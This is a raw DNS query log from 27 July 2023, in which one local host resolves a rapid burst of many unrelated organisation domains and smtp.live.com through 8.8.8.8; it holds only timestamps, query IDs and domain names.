Jul 27, 2023 21:53:51.655493975 CEST	192.168.2.4	8.8.8.8	0xc9c5	Standard query (0)	x96.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.690351963 CEST	192.168.2.4	8.8.8.8	0xf2f4	Standard query (0)	uster.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.700187922 CEST	192.168.2.4	8.8.8.8	0x20b	Standard query (0)	linac.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.708049059 CEST	192.168.2.4	8.8.8.8	0xb40b	Standard query (0)	zupraha.cz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.713129044 CEST	192.168.2.4	8.8.8.8	0xc11e	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.718707085 CEST	192.168.2.4	8.8.8.8	0xa948	Standard query (0)	refintl.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.721770048 CEST	192.168.2.4	8.8.8.8	0x6e44	Standard query (0)	fr-dat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.726819038 CEST	192.168.2.4	8.8.8.8	0xac32	Standard query (0)	cqdgroup.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.756501913 CEST	192.168.2.4	8.8.8.8	0xf3d3	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.769799948 CEST	192.168.2.4	8.8.8.8	0xa651	Standard query (0)	oaith.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.797362089 CEST	192.168.2.4	8.8.8.8	0xc35e	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.854068041 CEST	192.168.2.4	8.8.8.8	0x6bc1	Standard query (0)	zugseil.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.854130983 CEST	192.168.2.4	8.8.8.8	0x18a9	Standard query (0)	vdoherty.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.854403019 CEST	192.168.2.4	8.8.8.8	0x123	Standard query (0)	assideum.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.877528906 CEST	192.168.2.4	8.8.8.8	0xdd6b	Standard query (0)	sjbmw.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.879492998 CEST	192.168.2.4	8.8.8.8	0xf3b2	Standard query (0)	bigzz.by	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.880559921 CEST	192.168.2.4	8.8.8.8	0x3a13	Standard query (0)	esmoke.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.985508919 CEST	192.168.2.4	8.8.8.8	0xaccc	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.988178015 CEST	192.168.2.4	8.8.8.8	0x44fd	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.107866049 CEST	192.168.2.4	8.8.8.8	0xe3fe	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.136112928 CEST	192.168.2.4	8.8.8.8	0x135d	Standard query (0)	revoldia.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.141781092 CEST	192.168.2.4	8.8.8.8	0xa20e	Standard query (0)	fogra.com.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.165045977 CEST	192.168.2.4	8.8.8.8	0xcac0	Standard query (0)	linac.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.169969082 CEST	192.168.2.4	8.8.8.8	0xe702	Standard query (0)	com-edit.fr	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.171225071 CEST	192.168.2.4	8.8.8.8	0xbde4	Standard query (0)	k-nikko.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.178143978 CEST	192.168.2.4	8.8.8.8	0x6b7a	Standard query (0)	avse.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.182728052 CEST	192.168.2.4	8.8.8.8	0x7718	Standard query (0)	univi.it	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.184741020 CEST	192.168.2.4	8.8.8.8	0xe064	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.185017109 CEST	192.168.2.4	8.8.8.8	0x4e50	Standard query (0)	duiops.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.218349934 CEST	192.168.2.4	8.8.8.8	0xf1de	Standard query (0)	floopis.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.218424082 CEST	192.168.2.4	8.8.8.8	0x985b	Standard query (0)	stopllc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.254302979 CEST	192.168.2.4	8.8.8.8	0x563	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.288517952 CEST	192.168.2.4	8.8.8.8	0x8310	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.295378923 CEST	192.168.2.4	8.8.8.8	0x338	Standard query (0)	oh28ya.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.347827911 CEST	192.168.2.4	8.8.8.8	0x4fa4	Standard query (0)	sjbmw.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.384145021 CEST	192.168.2.4	8.8.8.8	0x4057	Standard query (0)	lyto.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.384145021 CEST	192.168.2.4	8.8.8.8	0x22ab	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.393297911 CEST	192.168.2.4	8.8.8.8	0xc822	Standard query (0)	karila.fr	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.441598892 CEST	192.168.2.4	8.8.8.8	0x2e00	Standard query (0)	s5w.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.442198992 CEST	192.168.2.4	8.8.8.8	0x80c	Standard query (0)	sledsport.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.442617893 CEST	192.168.2.4	8.8.8.8	0xdbb1	Standard query (0)	likangds.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.443361044 CEST	192.168.2.4	8.8.8.8	0x6ff5	Standard query (0)	a-domani.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.463471889 CEST	192.168.2.4	8.8.8.8	0x7c53	Standard query (0)	coxkitchensandbaths.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.470712900 CEST	192.168.2.4	8.8.8.8	0x2148	Standard query (0)	sigtoa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.477886915 CEST	192.168.2.4	8.8.8.8	0x632a	Standard query (0)	cyclad.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.486812115 CEST	192.168.2.4	8.8.8.8	0x8049	Standard query (0)	metaforacom.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.514657974 CEST	192.168.2.4	8.8.8.8	0x9a84	Standard query (0)	yoruksut.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.540502071 CEST	192.168.2.4	8.8.8.8	0xcef	Standard query (0)	wahw.com.au	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.713541985 CEST	192.168.2.4	8.8.8.8	0x4c07	Standard query (0)	ruzee.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.724783897 CEST	192.168.2.4	8.8.8.8	0xdf93	Standard query (0)	gydrozo.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.729507923 CEST	192.168.2.4	8.8.8.8	0x7305	Standard query (0)	bount.com.tw	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.737977982 CEST	192.168.2.4	8.8.8.8	0x35	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.749082088 CEST	192.168.2.4	8.8.8.8	0xb40b	Standard query (0)	zupraha.cz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.755970955 CEST	192.168.2.4	8.8.8.8	0x66f0	Standard query (0)	hazmatt.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.759390116 CEST	192.168.2.4	8.8.8.8	0xbc20	Standard query (0)	akdeniz.nl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.759601116 CEST	192.168.2.4	8.8.8.8	0x966f	Standard query (0)	rast.se	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.765135050 CEST	192.168.2.4	8.8.8.8	0x7c3d	Standard query (0)	any-s.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.774521112 CEST	192.168.2.4	8.8.8.8	0x5cd3	Standard query (0)	amerifor.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.788849115 CEST	192.168.2.4	8.8.8.8	0x9372	Standard query (0)	thiessen.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.788849115 CEST	192.168.2.4	8.8.8.8	0x201f	Standard query (0)	cqdgroup.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.794588089 CEST	192.168.2.4	8.8.8.8	0xf00	Standard query (0)	xsui.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.798573971 CEST	192.168.2.4	8.8.8.8	0x7602	Standard query (0)	hazmatt.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.800030947 CEST	192.168.2.4	8.8.8.8	0xd709	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.800653934 CEST	192.168.2.4	8.8.8.8	0x419b	Standard query (0)	nme.co.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.870748997 CEST	192.168.2.4	8.8.8.8	0x7a5a	Standard query (0)	linac.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.879826069 CEST	192.168.2.4	8.8.8.8	0x8e15	Standard query (0)	nettlinx.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.882278919 CEST	192.168.2.4	8.8.8.8	0xf44d	Standard query (0)	ramkome.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.889750004 CEST	192.168.2.4	8.8.8.8	0xa827	Standard query (0)	vdoherty.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.916814089 CEST	192.168.2.4	8.8.8.8	0xf2d4	Standard query (0)	floopis.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.918050051 CEST	192.168.2.4	8.8.8.8	0x74	Standard query (0)	oh28ya.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.926290035 CEST	192.168.2.4	8.8.8.8	0x9827	Standard query (0)	dwid.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.976619959 CEST	192.168.2.4	8.8.8.8	0x7361	Standard query (0)	mondopp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.980928898 CEST	192.168.2.4	8.8.8.8	0x4002	Standard query (0)	araax.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.990448952 CEST	192.168.2.4	8.8.8.8	0x6bc1	Standard query (0)	zugseil.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.006179094 CEST	192.168.2.4	8.8.8.8	0xbedc	Standard query (0)	muhr-soehne.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.041941881 CEST	192.168.2.4	8.8.8.8	0xa7dc	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.050553083 CEST	192.168.2.4	8.8.8.8	0x3f5e	Standard query (0)	bosado.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.063098907 CEST	192.168.2.4	8.8.8.8	0xf8c4	Standard query (0)	htsmx.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.066014051 CEST	192.168.2.4	8.8.8.8	0x72be	Standard query (0)	semuk.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.073553085 CEST	192.168.2.4	8.8.8.8	0xead1	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.081686974 CEST	192.168.2.4	8.8.8.8	0xe4dc	Standard query (0)	nblewis.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.098874092 CEST	192.168.2.4	8.8.8.8	0x679	Standard query (0)	bossinst.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.119254112 CEST	192.168.2.4	8.8.8.8	0xaaa3	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.119673967 CEST	192.168.2.4	8.8.8.8	0x2b76	Standard query (0)	anduran.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.120202065 CEST	192.168.2.4	8.8.8.8	0x6e72	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.131314039 CEST	192.168.2.4	8.8.8.8	0x8c70	Standard query (0)	valselit.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.135896921 CEST	192.168.2.4	8.8.8.8	0x9237	Standard query (0)	geecl.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.139825106 CEST	192.168.2.4	8.8.8.8	0xd85a	Standard query (0)	rkengg.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.140146017 CEST	192.168.2.4	8.8.8.8	0xba7d	Standard query (0)	avse.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.140146017 CEST	192.168.2.4	8.8.8.8	0xd7fd	Standard query (0)	amba-tc.si	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.148530960 CEST	192.168.2.4	8.8.8.8	0x4d5f	Standard query (0)	eos-i.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.154867887 CEST	192.168.2.4	8.8.8.8	0x4d87	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.173337936 CEST	192.168.2.4	8.8.8.8	0x1de3	Standard query (0)	insia.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.184504986 CEST	192.168.2.4	8.8.8.8	0x207b	Standard query (0)	amba-tc.si	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.190848112 CEST	192.168.2.4	8.8.8.8	0x92be	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.197321892 CEST	192.168.2.4	8.8.8.8	0x4234	Standard query (0)	eos-i.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.205221891 CEST	192.168.2.4	8.8.8.8	0x72a7	Standard query (0)	sgk.home.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.343839884 CEST	192.168.2.4	8.8.8.8	0xb61e	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.377583027 CEST	192.168.2.4	8.8.8.8	0x886f	Standard query (0)	amba-tc.si	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.386025906 CEST	192.168.2.4	8.8.8.8	0x51f3	Standard query (0)	atb-lit.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.387079000 CEST	192.168.2.4	8.8.8.8	0x330f	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.388933897 CEST	192.168.2.4	8.8.8.8	0xa92f	Standard query (0)	eos-i.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.388933897 CEST	192.168.2.4	8.8.8.8	0xaef1	Standard query (0)	wvs-net.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.391992092 CEST	192.168.2.4	8.8.8.8	0x427e	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.398880005 CEST	192.168.2.4	8.8.8.8	0x66a	Standard query (0)	cnti.krsn.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.453285933 CEST	192.168.2.4	8.8.8.8	0x3526	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.505528927 CEST	192.168.2.4	8.8.8.8	0x464d	Standard query (0)	cbaben.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.510901928 CEST	192.168.2.4	8.8.8.8	0xb7bb	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.538983107 CEST	192.168.2.4	8.8.8.8	0xc046	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.543530941 CEST	192.168.2.4	8.8.8.8	0xb5a1	Standard query (0)	pccj.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.543530941 CEST	192.168.2.4	8.8.8.8	0x62a7	Standard query (0)	pers.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.543945074 CEST	192.168.2.4	8.8.8.8	0x5b25	Standard query (0)	scintel.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.566970110 CEST	192.168.2.4	8.8.8.8	0xa5d	Standard query (0)	www.11tochi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.573604107 CEST	192.168.2.4	8.8.8.8	0xe2b7	Standard query (0)	kallman.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.576924086 CEST	192.168.2.4	8.8.8.8	0xc1d8	Standard query (0)	vivastay.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.587572098 CEST	192.168.2.4	8.8.8.8	0xdb29	Standard query (0)	www.spanesi.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.603811979 CEST	192.168.2.4	8.8.8.8	0x3c0f	Standard query (0)	www.muhr-soehne.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.603812933 CEST	192.168.2.4	8.8.8.8	0x88f1	Standard query (0)	impexnc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.624278069 CEST	192.168.2.4	8.8.8.8	0x7395	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.682115078 CEST	192.168.2.4	8.8.8.8	0xe625	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.707829952 CEST	192.168.2.4	8.8.8.8	0x831c	Standard query (0)	fr-dat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.714056015 CEST	192.168.2.4	8.8.8.8	0x8c66	Standard query (0)	fundeo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.743505955 CEST	192.168.2.4	8.8.8.8	0xec54	Standard query (0)	adventist.ro	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.777499914 CEST	192.168.2.4	8.8.8.8	0x8129	Standard query (0)	smtp.live.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.798228025 CEST	192.168.2.4	8.8.8.8	0x1ec2	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.803425074 CEST	192.168.2.4	8.8.8.8	0xfbc8	Standard query (0)	x96.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.803770065 CEST	192.168.2.4	8.8.8.8	0x7da0	Standard query (0)	x96.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.830868006 CEST	192.168.2.4	8.8.8.8	0x9372	Standard query (0)	thiessen.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.850668907 CEST	192.168.2.4	8.8.8.8	0xc0e8	Standard query (0)	noblesse.be	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.864300966 CEST	192.168.2.4	8.8.8.8	0x20fd	Standard query (0)	www.tc17.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.904500961 CEST	192.168.2.4	8.8.8.8	0xdd01	Standard query (0)	grlawcc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.904984951 CEST	192.168.2.4	8.8.8.8	0xa67d	Standard query (0)	infotech.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.905368090 CEST	192.168.2.4	8.8.8.8	0x816e	Standard query (0)	magicomm.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.905628920 CEST	192.168.2.4	8.8.8.8	0x2759	Standard query (0)	softizer.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.906173944 CEST	192.168.2.4	8.8.8.8	0x3cdb	Standard query (0)	apcotex.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.908588886 CEST	192.168.2.4	8.8.8.8	0x1850	Standard query (0)	dbnet.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.941056013 CEST	192.168.2.4	8.8.8.8	0xf8aa	Standard query (0)	dhh.la.gov	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.967971087 CEST	192.168.2.4	8.8.8.8	0x679a	Standard query (0)	grlawcc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.014314890 CEST	192.168.2.4	8.8.8.8	0xaccc	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.021617889 CEST	192.168.2.4	8.8.8.8	0x7317	Standard query (0)	k-nikko.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.046344995 CEST	192.168.2.4	8.8.8.8	0x596d	Standard query (0)	grlawcc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.048280954 CEST	192.168.2.4	8.8.8.8	0x1273	Standard query (0)	hbfuels.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.049838066 CEST	192.168.2.4	8.8.8.8	0xd585	Standard query (0)	infotech.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.053322077 CEST	192.168.2.4	8.8.8.8	0x61d2	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.055186033 CEST	192.168.2.4	8.8.8.8	0x29ac	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.062952042 CEST	192.168.2.4	8.8.8.8	0x1bc8	Standard query (0)	zugseil.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.083287001 CEST	192.168.2.4	8.8.8.8	0x9db0	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.092279911 CEST	192.168.2.4	8.8.8.8	0x105	Standard query (0)	hyab.se	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.108515978 CEST	192.168.2.4	8.8.8.8	0x94d0	Standard query (0)	softizer.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.130018950 CEST	192.168.2.4	8.8.8.8	0xec80	Standard query (0)	plaske.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.149132967 CEST	192.168.2.4	8.8.8.8	0x8b82	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.239758968 CEST	192.168.2.4	8.8.8.8	0x7b1c	Standard query (0)	diamir.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.374315977 CEST	192.168.2.4	8.8.8.8	0x70bc	Standard query (0)	amic.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.389055967 CEST	192.168.2.4	8.8.8.8	0x7d69	Standard query (0)	mkm-gr.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.389117002 CEST	192.168.2.4	8.8.8.8	0x5af0	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.389220953 CEST	192.168.2.4	8.8.8.8	0x94c3	Standard query (0)	jabian.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.393446922 CEST	192.168.2.4	8.8.8.8	0x8726	Standard query (0)	ascc.org.au	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.424666882 CEST	192.168.2.4	8.8.8.8	0xdbeb	Standard query (0)	valselit.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.441941977 CEST	192.168.2.4	8.8.8.8	0xdd28	Standard query (0)	tbvlugus.nl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.443591118 CEST	192.168.2.4	8.8.8.8	0x1605	Standard query (0)	araax.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.445071936 CEST	192.168.2.4	8.8.8.8	0x79be	Standard query (0)	komie.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.445363998 CEST	192.168.2.4	8.8.8.8	0x15f7	Standard query (0)	nettle.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.466629028 CEST	192.168.2.4	8.8.8.8	0xcfb7	Standard query (0)	fr-dat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.496239901 CEST	192.168.2.4	8.8.8.8	0x2be1	Standard query (0)	themark.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.503753901 CEST	192.168.2.4	8.8.8.8	0x861e	Standard query (0)	wanoa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.503825903 CEST	192.168.2.4	8.8.8.8	0x47b8	Standard query (0)	orlyhotel.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.544121981 CEST	192.168.2.4	8.8.8.8	0xe354	Standard query (0)	angework.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.554341078 CEST	192.168.2.4	8.8.8.8	0xf726	Standard query (0)	atbauk.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.556385994 CEST	192.168.2.4	8.8.8.8	0xf1b9	Standard query (0)	thiessen.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.557894945 CEST	192.168.2.4	8.8.8.8	0x8aad	Standard query (0)	linac.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.573102951 CEST	192.168.2.4	8.8.8.8	0xb8e9	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.576545954 CEST	192.168.2.4	8.8.8.8	0xa7cf	Standard query (0)	mackusick.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.598438978 CEST	192.168.2.4	8.8.8.8	0xee19	Standard query (0)	jnf.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.603518009 CEST	192.168.2.4	8.8.8.8	0xb749	Standard query (0)	linac.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.604573965 CEST	192.168.2.4	8.8.8.8	0xb78a	Standard query (0)	flamingorecordings.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.621237993 CEST	192.168.2.4	8.8.8.8	0x8a08	Standard query (0)	dog-jog.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.624183893 CEST	192.168.2.4	8.8.8.8	0x1be7	Standard query (0)	hubbikes.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.662123919 CEST	192.168.2.4	8.8.8.8	0x85e4	Standard query (0)	mikihan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.713452101 CEST	192.168.2.4	8.8.8.8	0x683e	Standard query (0)	ldh.la.gov	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.731456041 CEST	192.168.2.4	8.8.8.8	0xc3f4	Standard query (0)	cubodown.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.738126040 CEST	192.168.2.4	8.8.8.8	0xd691	Standard query (0)	mackusick.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.818994999 CEST	192.168.2.4	8.8.8.8	0x391	Standard query (0)	techtrans.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.836427927 CEST	192.168.2.4	8.8.8.8	0x5565	Standard query (0)	fdlymca.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.850500107 CEST	192.168.2.4	8.8.8.8	0x76df	Standard query (0)	fifa-ews.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.852453947 CEST	192.168.2.4	8.8.8.8	0x746	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.852453947 CEST	192.168.2.4	8.8.8.8	0x3251	Standard query (0)	ncn.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.853102922 CEST	192.168.2.4	8.8.8.8	0xe1c9	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.853202105 CEST	192.168.2.4	8.8.8.8	0x9b50	Standard query (0)	a-domani.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:54.853202105 CEST	192.168.2.4	8.8.8.8	0xf8c8	Standard query (0)	dyag-eng.com	A (IP address)	IN (0x0001)	false
